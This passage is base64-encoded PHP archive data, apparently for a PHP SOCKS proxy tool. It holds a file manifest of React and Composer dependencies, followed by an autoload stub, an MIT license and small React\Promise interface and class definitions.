cmVhbS9SZWFjdC9TdHJlYW0vY29tcG9zZXIuanNvbioCAAAZfFVUKgIAAK4wsBi2AQAAAAAAACkAAAB2ZW5kb3IvcmVhY3Qvc3RyZWFtL1JlYWN0L1N0cmVhbS9VdGlsLnBocLYEAAAZfFVUtgQAABqorlu2AQAAAAAAACsAAAB2ZW5kb3IvcmVhY3Qvc3RyZWFtL1JlYWN0L1N0cmVhbS9CdWZmZXIucGhw1AsAABl8VVTUCwAAoLncm7YBAAAAAAAAKwAAAHZlbmRvci9yZWFjdC9zdHJlYW0vUmVhY3QvU3RyZWFtL1N0cmVhbS5waHBQCwAAGXxVVFALAADyb/PZtgEAAAAAAAA8AAAAdmVuZG9yL3JlYWN0L3N0cmVhbS9SZWFjdC9TdHJlYW0vUmVhZGFibGVTdHJlYW1JbnRlcmZhY2UucGhweQEAABl8VVR5AQAAza7k5LYBAAAAAAAAPAAAAHZlbmRvci9yZWFjdC9zdHJlYW0vUmVhY3QvU3RyZWFtL1dyaXRhYmxlU3RyZWFtSW50ZXJmYWNlLnBocDYBAAAZfFVUNgEAAGuSdj+2AQAAAAAAADQAAAB2ZW5kb3IvcmVhY3Qvc3RyZWFtL1JlYWN0L1N0cmVhbS9TdHJlYW1JbnRlcmZhY2UucGhwagEAABl8VVRqAQAALPNUBrYBAAAAAAAALAAAAHZlbmRvci9yZWFjdC9kbnMvUmVhY3QvRG5zL0NvbmZpZy9Db25maWcucGhwWAAAABl8VVRYAAAAYsdv87YBAAAAAAAANwAAAHZlbmRvci9yZWFjdC9kbnMvUmVhY3QvRG5zL0NvbmZpZy9GaWxlc3lzdGVtRmFjdG9yeS5waHCIBwAAGXxVVIgHAAAb0DMRtgEAAAAAAAA1AAAAdmVuZG9yL3JlYWN0L2Rucy9SZWFjdC9EbnMvUXVlcnkvVGltZW91dEV4Y2VwdGlvbi5waHBRAAAAGXxVVFEAAADC4qz0tgEAAAAAAAAuAAAAdmVuZG9yL3JlYWN0L2Rucy9SZWFjdC9EbnMvUXVlcnkvUmVjb3JkQmFnLnBocCECAAAZfFVUIQIAAMW1AUK2AQAAAAAAADYAAAB2ZW5kb3IvcmVhY3QvZG5zL1JlYWN0L0Rucy9RdWVyeS9FeGVjdXRvckludGVyZmFjZS5waHB5AAAAGXxVVHkAAACMIZMdtgEAAAAAAAAqAAAAdmVuZG9yL3JlYWN0L2Rucy9SZWFjdC9EbnMvUXVlcnkvUXVlcnkucGhwWAEAABl8VVRYAQAAz6WZ8LYBAAAAAAAALQAAAHZlbmRvci9yZWFjdC9kbnMvUmVhY3QvRG5zL1F1ZXJ5L0V4ZWN1dG9yLnBocDIMAAAZfFVUMgwAABbOOVu2AQAAAAAAADIAAAB2ZW5kb3IvcmVhY3QvZG5zL1JlYWN0L0Rucy9RdWVyeS9SZXRyeUV4ZWN1dG9yLnBocI4FAAAZfFVUjgUAAIVAgMy2AQAAAAAAADAAAAB2ZW5kb3IvcmVhY3QvZG5zL1JlYWN0L0Rucy9RdWVyeS9SZWNvcmRDYWNoZS5waHAmCAAAGXxVVCYIAAC4Gt+TtgEAAAAAAAAzAAAAdmVuZG9yL3JlYWN0L2Rucy9SZWFjdC9EbnMvUXVlcnkvQ2FjaGVkRXhlY3V0b3IucGhwgQcAABl8VVSBBwAAtaBSA7YBAAAAAAAANAAAAHZlbmRvci9yZWFjdC9kbnMvUmVhY3QvRG5zL1Byb3RvY29sL0JpbmFyeUR1bXBlci5waHBrBgAAGXxVVGsGAADOfy5/tgEAAAAAAAAuAAAAdmVuZG9yL3JlYWN0L2Rucy9SZWFjdC9EbnMvUHJvdG9jb2wvUGFyc2VyLnBocLUXAAAZfFVUtRcAAKWOsHq2AQAAAAAAAC4AAAB2ZW5kb3IvcmVhY3QvZG5zL1JlYWN0L0Rucy9Nb2RlbC9IZWFkZXJCYWcucGhwDgUAABl8VVQOBQAAZS+lKrYBAAAAAAAALAAAAHZlbmRvci9yZWFjdC9kbnMvUmVhY3QvRG5zL01vZGVsL01lc3NhZ2UucGhwnAMAABl8VVScAwAAGiMc37YBAAAAAAAAKwAAAHZlbmRvci9yZWFjdC9kbnMvUmVhY3QvRG5zL01vZGVsL1JlY29yZC5waHCOAQAAGXxVVI4BAABzEDONtgEAAAAAAAAkAAAAdmVuZG9yL3JlYWN0L2Rucy9SZWFjdC9EbnMvUkVBRE1FLm1kMAYAABl8VVQwBgAA7Wbph7YBAAAAAAAAKAAAAHZlbmRvci9yZWFjdC9kbnMvUmVhY3QvRG5zL2NvbXBvc2VyLmpzb27UAQAAGXxVVNQBAAA9c0EbtgEAAAAAAAA2AAAAdmVuZG9yL3JlYWN0L2Rucy9SZWFjdC9EbnMvUmVjb3JkTm90Rm91bmRFeGNlcHRpb24ucGhwUgAAABl8VVRSAAAAZnLqCLYBAAAAAAAAKgAAAHZlbmRvci9yZWFjdC9kbnMvUmVhY3QvRG5zL2RvYy9yZmMxMDM0LnR4dJfsAQAZfFVUl+wBAIFk+Wa2AQAAAAAAACoAAAB2ZW5kb3IvcmVhY3QvZG5zL1JlYWN0L0Rucy9kb2MvcmZjMTAzNS50eHS13gEAGXxVVLXeAQCtovPhtgEAAAAAAAAwAAAAdmVuZG9yL3JlYWN0L2Rucy9SZWFjdC9EbnMvUmVzb2x2ZXIvUmVzb2x2ZXIucGhweQYAABl8VVR5BgAAPXo1WbYBAAAAAAAALwAAAHZlbmRvci9yZWFjdC9kbnMvUmVhY3QvRG5zL1Jlc29sdmVyL0ZhY3RvcnkucGhwrgUAABl8VVSuBQAA6kmaFbYBAAAAAAAAMQAAAHZlbmRvci9yZWFjdC9kbnMvUmVhY3QvRG5zL0JhZFNlcnZlckV4Y2VwdGlvbi5waHBNAAAAGXxVVE0AAADCumPCtgEAAAAAAAA4AAAAdmVuZG9yL3JlYWN0L3NvY2tldC9SZWFjdC9Tb2NrZXQvQ29ubmVjdGlvbkV4Y2VwdGlvbi5waHBWAAAAGXxVVFYAAAD/JJzCtgEAAAAAAAArAAAAdmVuZG9yL3JlYWN0L3NvY2tldC9SZWFjdC9Tb2NrZXQvU2VydmVyLnBocNEGAAAZfFVU0QYAADl6z0y2AQAAAAAAACoAAAB2ZW5kb3IvcmVhY3Qvc29ja2V0L1JlYWN0L1NvY2tldC9SRUFETUUubWQ9BQAAGXxVVD0FAAAd7vj9tgEAAAAAAAAuAAAAdmVuZG9yL3JlYWN0L3NvY2tldC9SZWFjdC9Tb2NrZXQvY29tcG9zZXIuanNvbvcBAAAZfFVU9wEAADiOF122AQAAAAAAAC8AAAB2ZW5kb3IvcmVhY3Qvc29ja2V0L1JlYWN0L1NvY2tldC9Db25uZWN0aW9uLnBocPkDAAAZfFVU+QMAAFPmw1O2AQAAAAAAADgAAAB2ZW5kb3IvcmVhY3Qvc29ja2V0L1JlYWN0L1NvY2tldC9Db25uZWN0aW9uSW50ZXJmYWNlLnBocB0BAAAZfFVUHQEAAHAyj5S2AQAAAAAAADQAAAB2ZW5kb3IvcmVhY3Qvc29ja2V0L1JlYWN0L1NvY2tldC9TZXJ2ZXJJbnRlcmZhY2UucGhwEgEAABl8VVQSAQAAmpoVyLYBAAAAAAAARQAAAHZlbmRvci9yZWFjdC9zb2NrZXQtY2xpZW50L1JlYWN0L1NvY2tldENsaWVudC9Db25uZWN0aW9uRXhjZXB0aW9uLnBocF4AAAAZfFVUXgAAAOgBx3O2AQAAAAAAAEQAAAB2ZW5kb3IvcmVhY3Qvc29ja2V0LWNsaWVudC9SZWFjdC9Tb2NrZXRDbGllbnQvQ29ubmVjdG9ySW50ZXJmYWNlLnBocHEAAAAZfFVUcQAAAJ0Fgp62AQAAAAAAAEIAAAB2ZW5kb3IvcmVhY3Qvc29ja2V0LWNsaWVudC9SZWFjdC9Tb2NrZXRDbGllbnQvU3RyZWFtRW5jcnlwdGlvbi5waHCGCgAAGXxVVIYKAAAkKO9KtgEAAAAAAAA7AAAAdmVuZG9yL3JlYWN0L3NvY2tldC1jbGllbnQvUmVhY3QvU29ja2V0Q2xpZW50L0Nvbm5lY3Rvci5waHDlCgAAGXxVVOUKAAAzWlqztgEAAAAAAAA3AAAAdmVuZG9yL3JlYWN0L3NvY2tldC1jbGllbnQvUmVhY3QvU29ja2V0Q2xpZW50L1JFQURNRS5tZDkIAAAZfFVUOQgAAFVhdWi2AQAAAAAAADsAAAB2ZW5kb3IvcmVhY3Qvc29ja2V0LWNsaWVudC9SZWFjdC9Tb2NrZXRDbGllbnQvY29tcG9zZXIuanNvbg8CAAAZfFVUDwIAAPqOCtq2AQAAAAAAAEEAAAB2ZW5kb3IvcmVhY3Qvc29ja2V0LWNsaWVudC9SZWFjdC9Tb2NrZXRDbGllbnQvU2VjdXJlQ29ubmVjdG9yLnBocPkDAAAZfFVU+QMAAFOBNPa2AQAAAAAAACUAAAB2ZW5kb3IvY29tcG9zZXIvYXV0b2xvYWRfY2xhc3NtYXAucGhwkwAAABl8VVSTAAAAtfhiB7YBAAAAAAAAIQAAAHZlbmRvci9jb21wb3Nlci9hdXRvbG9hZF9yZWFsLnBocHYFAAAZfFVUdgUAAGitdQS2AQAAAAAAACcAAAB2ZW5kb3IvY29tcG9zZXIvYXV0b2xvYWRfbmFtZXNwYWNlcy5waHCOAgAAGXxVVI4CAAC1ZFJ8tgEAAAAAAAAfAAAAdmVuZG9yL2NvbXBvc2VyL0NsYXNzTG9hZGVyLnBocJUtAAAZfFVUlS0AAEZhjNW2AQAAAAAAAB4AAAB2ZW5kb3IvY29tcG9zZXIvaW5zdGFsbGVkLmpzb27WNgAAGXxVVNY2AABxw5jJtgEAAAAAAAAhAAAAdmVuZG9yL2NvbXBvc2VyL2F1dG9sb2FkX3BzcjQucGhwawEAABl8VVRrAQAAMsbeVbYBAAAAAAAAHwAAAHZlbmRvci9jbHVlL3NvY2tzLXJlYWN0L0xJQ0VOU0U6BAAAGXxVVDoEAACcX4wptgEAAAAAAAAmAAAAdmVuZG9yL2NsdWUvc29ja3MtcmVhY3Qvc3JjL1NlcnZlci5waHD7NgAAGXxVVPs2AAB8D/JwtgEAAAAAAAAsAAAAdmVuZG9yL2NsdWUvc29ja3MtcmVhY3Qvc3JjL1N0cmVhbVJlYWRlci5waHDnDgAAGXxVVOcOAABmSnDdtgEAAAAAAAApAAAAdmVuZG9yL2NsdWUvc29ja3MtcmVhY3Qvc3JjL0Nvbm5lY3Rvci5waHCNAQAAGXxVVI0BAACnXEaztgEAAAAAAAAmAAAAdmVuZG9yL2NsdWUvc29ja3MtcmVhY3Qvc3JjL0NsaWVudC5waHAlMgAAGXxVVCUyAAAWbnGGtgEAAAAAAAAhAAAAdmVuZG9yL2NsdWUvc29ja3MtcmVhY3QvUkVBRE1FLm1kDCgAABl8VVQMKAAA/XemZLYBAAAAAAAAKwAAAHZlbmRvci9jbHVlL3NvY2tzLXJlYWN0L2V4YW1wbGVzL3NlcnZlci5waHDxAQAAGXxVVPEBAAChQ/uItgEAAAAAAAArAAAAdmVuZG9yL2NsdWUvc29ja3MtcmVhY3QvZXhhbXBsZXMvY2xpZW50LnBocEoDAAAZfFVUSgMAAJ+/E7q2AQAAAAAAADUAAAB2ZW5kb3IvY2x1ZS9zb2Nrcy1yZWFjdC9leGFtcGxlcy9zZXJ2ZXItbWlkZGxlbWFuLnBocLoDAAAZfFVUugMAALWNyH+2AQAAAAAAADAAAAB2ZW5kb3IvY2x1ZS9zb2Nrcy1yZWFjdC9leGFtcGxlcy9zZXJ2ZXItYXV0aC5waHCcAgAAGXxVVJwCAADAYNCntgEAAAAAAAAlAAAAdmVuZG9yL2NsdWUvc29ja3MtcmVhY3QvY29tcG9zZXIuanNvbhoDAAAZfFVUGgMAAG78dmG2AQAAAAAAACsAAAB2ZW5kb3IvY2x1ZS9zb2Nrcy1yZWFjdC90ZXN0cy9ib290c3RyYXAucGhwEwkAABl8VVQTCQAA3TYKRrYBAAAAAAAALAAAAHZlbmRvci9jbHVlL3NvY2tzLXJlYWN0L3Rlc3RzL0NsaWVudFRlc3QucGhwMQ4AABl8VVQxDgAAlIzc4bYBAAAAAAAAMAAAAHZlbmRvci9jbHVlL3NvY2tzLXJlYWN0L3Rlc3RzL0Z1bmN0aW9uYWxUZXN0LnBocL0UAAAZfFVUvRQAAO0/T3S2AQAAAAAAADIAAAB2ZW5kb3IvY2x1ZS9zb2Nrcy1yZWFjdC90ZXN0cy9TdHJlYW1SZWFkZXJUZXN0LnBocI0IAAAZfFVUjQgAAI/YHq22AQAAAAAAACwAAAB2ZW5kb3IvY2x1ZS9zb2Nrcy1yZWFjdC90ZXN0cy9TZXJ2ZXJUZXN0LnBocFIIAAAZfFVUUggAAL9GvdG2AQAAAAAAACgAAAB2ZW5kb3IvY2x1ZS9zb2Nrcy1yZWFjdC9waHB1bml0LnhtbC5kaXN0awEAABl8VVRrAQAA9ALTsrYBAAAAAAAAJQAAAHZlbmRvci9jbHVlL3NvY2tzLXJlYWN0L2NvbXBvc2VyLmxvY2s6LwAAGXxVVDovAAAuU/pptgEAAAAAAAAkAAAAdmVuZG9yL2NsdWUvc29ja3MtcmVhY3QvQ0hBTkdFTE9HLm1kQgcAABl8VVRCBwAAYn27xbYBAAAAAAAALAAAAHZlbmRvci9jbHVlL2Nvbm5lY3Rpb24tbWFuYWdlci1leHRyYS9MSUNFTlNFOgQAABl8VVQ6BAAAy1RpRbYBAAAAAAAARAAAAHZlbmRvci9jbHVlL2Nvbm5lY3Rpb24tbWFuYWdlci1leHRyYS9zcmMvQ29ubmVjdGlvbk1hbmFnZXJSZXBlYXQucGhwGwUAABl8VVQbBQAA8yckCbYBAAAAAAAARAAAAHZlbmRvci9jbHVlL2Nvbm5lY3Rpb24tbWFuYWdlci1leHRyYS9zcmMvQ29ubmVjdGlvbk1hbmFnZXJSZWplY3QucGhwzgEAABl8VVTOAQAALp3subYBAAAAAAAARQAAAHZlbmRvci9jbHVlL2Nvbm5lY3Rpb24tbWFuYWdlci1leHRyYS9zcmMvQ29ubmVjdGlvbk1hbmFnZXJUaW1lb3V0LnBocDYGAAAZfFVUNgYAAAsDTAO2AQAAAAAAAEcAAAB2ZW5kb3IvY2x1ZS9jb25uZWN0aW9uLW1hbmFnZXItZXh0cmEvc3JjL0Nvbm5lY3Rpb25NYW5hZ2VyU3dhcHBhYmxlLnBocLkCAAAZfFVUuQIAAATFORK2AQAAAAAAAEMAAAB2ZW5kb3IvY2x1ZS9jb25uZWN0aW9uLW1hbmFnZXItZXh0cmEvc3JjL0Nvbm5lY3Rpb25NYW5hZ2VyRGVsYXkucGhw4QMAABl8VVThAwAAKSnmnLYBAAAAAAAATQAAAHZlbmRvci9jbHVlL2Nvbm5lY3Rpb24tbWFuYWdlci1leHRyYS9zcmMvTXVsdGlwbGUvQ29ubmVjdGlvbk1hbmFnZXJSYW5kb20ucGhwOAEAABl8VVQ4AQAAZ01yDrYBAAAAAAAAUgAAAHZlbmRvci9jbHVlL2Nvbm5lY3Rpb24tbWFuYWdlci1leHRyYS9zcmMvTXVsdGlwbGUvQ29ubmVjdGlvbk1hbmFnZXJDb25zZWN1dGl2ZS5waHASBQAAGXxVVBIFAACallHktgEAAAAAAABQAAAAdmVuZG9yL2NsdWUvY29ubmVjdGlvbi1tYW5hZ2VyLWV4dHJhL3NyYy9NdWx0aXBsZS9Db25uZWN0aW9uTWFuYWdlclNlbGVjdGl2ZS5waHCMEwAAGXxVVIwTAAB0pKfQtgEAAAAAAAAuAAAAdmVuZG9yL2NsdWUvY29ubmVjdGlvbi1tYW5hZ2VyLWV4dHJhL1JFQURNRS5tZKcTAAAZfFVUpxMAAHxNrma2AQAAAAAAADIAAAB2ZW5kb3IvY2x1ZS9jb25uZWN0aW9uLW1hbmFnZXItZXh0cmEvY29tcG9zZXIuanNvbv8CAAAZfFVU/wIAAP/rxrm2AQAAAAAAADgAAAB2ZW5kb3IvY2x1ZS9jb25uZWN0aW9uLW1hbmFnZXItZXh0cmEvdGVzdHMvYm9vdHN0cmFwLnBocAQJAAAZfFVUBAkAANRsRZq2AQAAAAAAAEkAAAB2ZW5kb3IvY2x1ZS9jb25uZWN0aW9uLW1hbmFnZXItZXh0cmEvdGVzdHMvQ29ubmVjdGlvbk1hbmFnZXJEZWxheVRlc3QucGhwdwIAABl8VVR3AgAAq5gOy7YBAAAAAAAATQAAAHZlbmRvci9jbHVlL2Nvbm5lY3Rpb24tbWFuYWdlci1leHRyYS90ZXN0cy9Db25uZWN0aW9uTWFuYWdlclN3YXBwYWJsZVRlc3QucGhwUQMAABl8VVRRAwAAh2IyxbYBAAAAAAAASwAAAHZlbmRvci9jbHVlL2Nvbm5lY3Rpb24tbWFuYWdlci1leHRyYS90ZXN0cy9Db25uZWN0aW9uTWFuYWdlclRpbWVvdXRUZXN0LnBocLoGAAAZfFVUugYAADIzOOO2AQAAAAAAAEoAAAB2ZW5kb3IvY2x1ZS9jb25uZWN0aW9uLW1hbmFnZXItZXh0cmEvdGVzdHMvQ29ubmVjdGlvbk1hbmFnZXJSZWplY3RUZXN0LnBocKYBAAAZfFVUpgEAABUtngW2AQAAAAAAAFgAAAB2ZW5kb3IvY2x1ZS9jb25uZWN0aW9uLW1hbmFnZXItZXh0cmEvdGVzdHMvTXVsdGlwbGUvQ29ubmVjdGlvbk1hbmFnZXJDb25zZWN1dGl2ZVRlc3QucGhwhgMAABl8VVSGAwAAWRxeI7YBAAAAAAAAUwAAAHZlbmRvci9jbHVlL2Nvbm5lY3Rpb24tbWFuYWdlci1leHRyYS90ZXN0cy9NdWx0aXBsZS9Db25uZWN0aW9uTWFuYWdlclJhbmRvbVRlc3QucGhwcgMAABl8VVRyAwAAXlSd4LYBAAAAAAAAVgAAAHZlbmRvci9jbHVlL2Nvbm5lY3Rpb24tbWFuYWdlci1leHRyYS90ZXN0cy9NdWx0aXBsZS9Db25uZWN0aW9uTWFuYWdlclNlbGVjdGl2ZVRlc3QucGhw/A0AABl8VVT8DQAAIVufr7YBAAAAAAAASgAAAHZlbmRvci9jbHVlL2Nvbm5lY3Rpb24tbWFuYWdlci1leHRyYS90ZXN0cy9Db25uZWN0aW9uTWFuYWdlclJlcGVhdFRlc3QucGhw/AIAABl8VVT8AgAAsuPsgbYBAAAAAAAANQAAAHZlbmRvci9jbHVlL2Nvbm5lY3Rpb24tbWFuYWdlci1leHRyYS9waHB1bml0LnhtbC5kaXN0iAEAABl8VVSIAQAAU8NYCLYBAAAAAAAAMQAAAHZlbmRvci9jbHVlL2Nvbm5lY3Rpb24tbWFuYWdlci1leHRyYS9DSEFOR0VMT0cubWRFAwAAGXxVVEUDAAAWF380tgEAAAAAAAAiAAAAdmVuZG9yL2V2ZW5lbWVudC9ldmVuZW1lbnQvTElDRU5TRSAEAAAZfFVUIAQAAMh7ST22AQAAAAAAADkAAAB2ZW5kb3IvZXZlbmVtZW50L2V2ZW5lbWVudC9zcmMvRXZlbmVtZW50L0V2ZW50RW1pdHRlci5waHBOBwAAGXxVVE4HAAB4Xs4KtgEAAAAAAABCAAAAdmVuZG9yL2V2ZW5lbWVudC9ldmVuZW1lbnQvc3JjL0V2ZW5lbWVudC9FdmVudEVtaXR0ZXJJbnRlcmZhY2UucGhwQgIAABl8VVRCAgAAcIZvvbYBAAAAAAAAOgAAAHZlbmRvci9ldmVuZW1lbnQvZXZlbmVtZW50L3NyYy9FdmVuZW1lbnQvRXZlbnRFbWl0dGVyMi5waHA+CwAAGXxVVD4LAAAxYJbdtgEAAAAAAAAkAAAAdmVuZG9yL2V2ZW5lbWVudC9ldmVuZW1lbnQvUkVBRE1FLm1k0AUAABl8VVTQBQAAUcWN6LYBAAAAAAAAKAAAAHZlbmRvci9ldmVuZW1lbnQvZXZlbmVtZW50L2NvbXBvc2VyLmpzb264AQAAGXxVVLgBAAAUv/DqtgEAAAAAAAAuAAAAdmVuZG9yL2V2ZW5lbWVudC9ldmVuZW1lbnQvdGVzdHMvYm9vdHN0cmFwLnBocOoEAAAZfFVU6gQAAFN3mIe2AQAAAAAAAD0AAAB2ZW5kb3IvZXZlbmVtZW50L2V2ZW5lbWVudC90ZXN0cy9FdmVuZW1lbnQvVGVzdHMvTGlzdGVuZXIucGhwEgUAABl8VVQSBQAA1WIP1rYBAAAAAAAARQAAAHZlbmRvci9ldmVuZW1lbnQvZXZlbmVtZW50L3Rlc3RzL0V2ZW5lbWVudC9UZXN0cy9FdmVudEVtaXR0ZXJUZXN0LnBocM0ZAAAZfFVUzRkAAIHLnr+2AQAAAAAAAEYAAAB2ZW5kb3IvZXZlbmVtZW50L2V2ZW5lbWVudC90ZXN0cy9FdmVuZW1lbnQvVGVzdHMvRXZlbnRFbWl0dGVyMlRlc3QucGhwmBAAABl8VVSYEAAAUHpCLrYBAAAAAAAAKwAAAHZlbmRvci9ldmVuZW1lbnQvZXZlbmVtZW50L3BocHVuaXQueG1sLmRpc3SoAgAAGXxVVKgCAADKoscAtgEAAAAAAAAHAAAATElDRU5TRToEAAAZfFVUOgQAAMtUaUW2AQAAAAAAABMAAABzcmMvQ29tbWFuZC9WaWEucGhwEBkAABl8VVQQGQAAv0fjDbYBAAAAAAAAIAAAAHNyYy9Db21tYW5kL0NvbW1hbmRJbnRlcmZhY2UucGhwhwAAABl8VVSHAAAAsxcjybYBAAAAAAAAFAAAAHNyYy9Db21tYW5kL1BpbmcucGhw9QsAABl8VVT1CwAA4a1gkLYBAAAAAAAAFgAAAHNyYy9Db21tYW5kL1N0YXR1cy5waHAiAQAAGXxVVCIBAADKwgx1tgEAAAAAAAAUAAAAc3JjL0NvbW1hbmQvSGVscC5waHBTAwAAGXxVVFMDAACppcvZtgEAAAAAAAAUAAAAc3JjL0NvbW1hbmQvUXVpdC5waHCWAQAAGXxVVJYBAABQT6IMtgEAAAAAAAALAAAAc3JjL0FwcC5waHCPHgAAGXxVVI8eAAB+TGQ7tgEAAAAAAAAdAAAAc3JjL09wdGlvbi9NZWFzdXJlVHJhZmZpYy5waHAQAwAAGXxVVBADAAAS3luBtgEAAAAAAAAaAAAAc3JjL09wdGlvbi9NZWFzdXJlVGltZS5waHC2AQAAGXxVVLYBAABm0AmDtgEAAAAAAAASAAAAc3JjL09wdGlvbi9Mb2cucGhwAgYAABl8VVQCBgAAanIh47YBAAAAAAAAIAAAAHNyYy9Db25uZWN0aW9uTWFuYWdlckxhYmVsZWQucGhwMwIAABl8VVQzAgAAO6rjb7YBAAAAAAAACQAAAFJFQURNRS5tZN4RAAAZfFVU3hEAAMy59Mi2AQAAAAAAAA0AAABjb21wb3Nlci5qc29uHQMAABl8VVQdAwAAXIXIBbYBAAAAAAAADQAAAGNvbXBvc2VyLmxvY2uoPAAAGXxVVKg8AABr/OTftgEAAAAAAAAMAAAAQ0hBTkdFTE9HLm1kawQAABl8VVRrBAAAjl0nOLYBAAAAAAAACwAAAGJpbi9wc29ja3NkXgAAABl8VVReAAAAQbnp/7YBAAAAAAAAPD9waHAKCi8vIGF1dG9sb2FkLnBocCBAZ2VuZXJhdGVkIGJ5IENvbXBvc2VyCgpyZXF1aXJlX29uY2UgX19ESVJfXyAuICcvY29tcG9zZXInIC4gJy9hdXRvbG9hZF9yZWFsLnBocCc7CgpyZXR1cm4gQ29tcG9zZXJBdXRvbG9hZGVySW5pdDYwZTQ5OTdkNTVkYWZiYzVmY2QwOTBiZjU0NGIzMDA2OjpnZXRMb2FkZXIoKTsKQ29weXJpZ2h0IChjKSAyMDEyIEphbiBTb3JnYWxsYQoKUGVybWlzc2lvbiBpcyBoZXJlYnkgZ3JhbnRlZCwgZnJlZSBvZiBjaGFyZ2UsIHRvIGFueSBwZXJzb24Kb2J0YWluaW5nIGEgY29weSBvZiB0aGlzIHNvZnR3YXJlIGFuZCBhc3NvY2lhdGVkIGRvY3VtZW50YXRpb24KZmlsZXMgKHRoZSAiU29mdHdhcmUiKSwgdG8gZGVhbCBpbiB0aGUgU29mdHdhcmUgd2l0aG91dApyZXN0cmljdGlvbiwgaW5jbHVkaW5nIHdpdGhvdXQgbGltaXRhdGlvbiB0aGUgcmlnaHRzIHRvIHVzZSwKY29weSwgbW9kaWZ5LCBtZXJnZSwgcHVibGlzaCwgZGlzdHJpYnV0ZSwgc3VibGljZW5zZSwgYW5kL29yIHNlbGwKY29waWVzIG9mIHRoZSBTb2Z0d2FyZSwgYW5kIHRvIHBlcm1pdCBwZXJzb25zIHRvIHdob20gdGhlClNvZnR3YXJlIGlzIGZ1cm5pc2hlZCB0byBkbyBzbywgc3ViamVjdCB0byB0aGUgZm9sbG93aW5nCmNvbmRpdGlvbnM6CgpUaGUgYWJvdmUgY29weXJpZ2h0IG5vdGljZSBhbmQgdGhpcyBwZXJtaXNzaW9uIG5vdGljZSBzaGFsbCBiZQppbmNsdWRlZCBpbiBhbGwgY29waWVzIG9yIHN1YnN0YW50aWFsIHBvcnRpb25zIG9mIHRoZSBTb2Z0d2FyZS4KClRIRSBTT0ZUV0FSRSBJUyBQUk9WSURFRCAiQVMgSVMiLCBXSVRIT1VUIFdBUlJBTlRZIE9GIEFOWSBLSU5ELApFWFBSRVNTIE9SIElNUExJRUQsIElOQ0xVRElORyBCVVQgTk9UIExJTUlURUQgVE8gVEhFIFdBUlJBTlRJRVMKT0YgTUVSQ0hBTlRBQklMSVRZLCBGSVRORVNTIEZPUiBBIFBBUlRJQ1VMQVIgUFVSUE9TRSBBTkQKTk9OSU5GUklOR0VNRU5ULiBJTiBOTyBFVkVOVCBTSEFMTCBUSEUgQVVUSE9SUyBPUiBDT1BZUklHSFQKSE9MREVSUyBCRSBMSUFCTEUgRk9SIEFOWSBDTEFJTSwgREFNQUdFUyBPUiBPVEhFUiBMSUFCSUxJVFksCldIRVRIRVIgSU4gQU4gQUNUSU9OIE9GIENPTlRSQUNULCBUT1JUIE9SIE9USEVSV0lTRSwgQVJJU0lORwpGUk9NLCBPVVQgT0YgT1IgSU4gQ09OTkVDVElPTiBXSVRIIFRIRSBTT0ZUV0FSRSBPUiBUSEUgVVNFIE9SCk9USEVSIERFQUxJTkdTIElOIFRIRSBTT0ZUV0FSRS4KPD9waHAKCm5hbWVzcGFjZSBSZWFjdFxQcm9taXNlOwoKY2xhc3MgRGVmZXJyZWRSZXNvbHZlciBpbXBsZW1lbnRzIFJlc29sdmVySW50ZXJmYWNlCnsKICAgIHByaXZhdGUgJGRlZmVycmVkOwoKICAgIHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdChEZWZlcnJlZCAkZGVmZXJyZWQpCiAgICB7CiAgICAgICAgJHRoaXMtPmRlZmVycmVkID0gJGRlZmVycmVkOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiByZXNvbHZlKCRyZXN1bHQgPSBudWxsKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+ZGVmZXJyZWQtPnJlc29sdmUoJHJlc3VsdCk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHJlamVjdCgkcmVhc29uID0gbnVsbCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPmRlZmVycmVkLT5yZWplY3QoJHJlYXNvbik7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHByb2dyZXNzKCR1cGRhdGUgPSBudWxsKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+ZGVmZXJyZWQtPnByb2dyZXNzKCR1cGRhdGUpOwogICAgfQp9Cjw/cGhwCgpuYW1lc3BhY2UgUmVhY3RcUHJvbWlzZTsKCmludGVyZmFjZSBQcm9taXNlSW50ZXJmYWNlCnsKICAgIHB1YmxpYyBmdW5jdGlvbiB0aGVuKCRmdWxmaWxsZWRIYW5kbGVyID0gbnVsbCwgJGVycm9ySGFuZGxlciA9IG51bGwsICRwcm9ncmVzc0hhbmRsZXIgPSBudWxsKTsKfQo8P3BocAoKbmFtZXNwYWNlIFJlYWN0XFByb21pc2U7CgppbnRlcmZhY2UgUHJvbWlzb3JJbnRlcmZhY2UKewogICAgcHVibGljIGZ1bmN0aW9uIHByb21pc2UoKTsKfQo8P3BocAoKbmFtZXNwYWNlIFJlYWN0XFByb21pc2U7CgpjbGFzcyBMYXp5UHJvbWlzZSBpbXBsZW1lbnRzIFByb21pc2VJbnRlcmZhY2UKewogICAgcHJpdmF0ZSAkZmFjdG9yeTsKICAgIHByaXZhdGUgJHByb21pc2U7CgogICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCRmYWN0b3J5KQogICAgewogICAgICAgICR0aGlzLT5mYWN0b3J5ID0gJGZhY3Rvcnk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHRoZW4oJGZ1bGZpbGxlZEhhbmRsZXIgPSBudWxsLCAkZXJyb3JIYW5kbGVyID0gbnVsbCwgJHByb2dyZXNzSGFuZGxlciA9IG51bGwpCiAgICB7CiAgICAgICAgaWYgKG51bGwgPT09ICR0aGlzLT5wcm9taXNlKSB7CiAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICAkdGhpcy0+cHJvbWlzZSA9IFV0aWw6OnByb21pc2VGb3IoY2FsbF91c2VyX2Z1bmMoJHRoaXMtPmZhY3RvcnkpKTsKICAgICAgICAgICAgfSBjYXRjaCAoXEV4Y2VwdGlvbiAkZXhjZXB0aW9uKSB7CiAgICAgICAgICAgICAgICAkdGhpcy0+cHJvbWlzZSA9IG5ldyBSZWplY3RlZFByb21pc2UoJGV4Y2VwdGlvbik7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHJldHVybiAkdGhpcy0+cHJvbWlzZS0+dGhlbigkZnVsZmlsbGVkSGFuZGxlciwgJGVycm9ySGFuZGxlciwgJHByb2dyZXNzSGFuZGxlcik7CiAgICB9Cn0KPD9waHAKCm5hbWVzcGFjZSBSZWFjdFxQcm9taXNlOwoKY2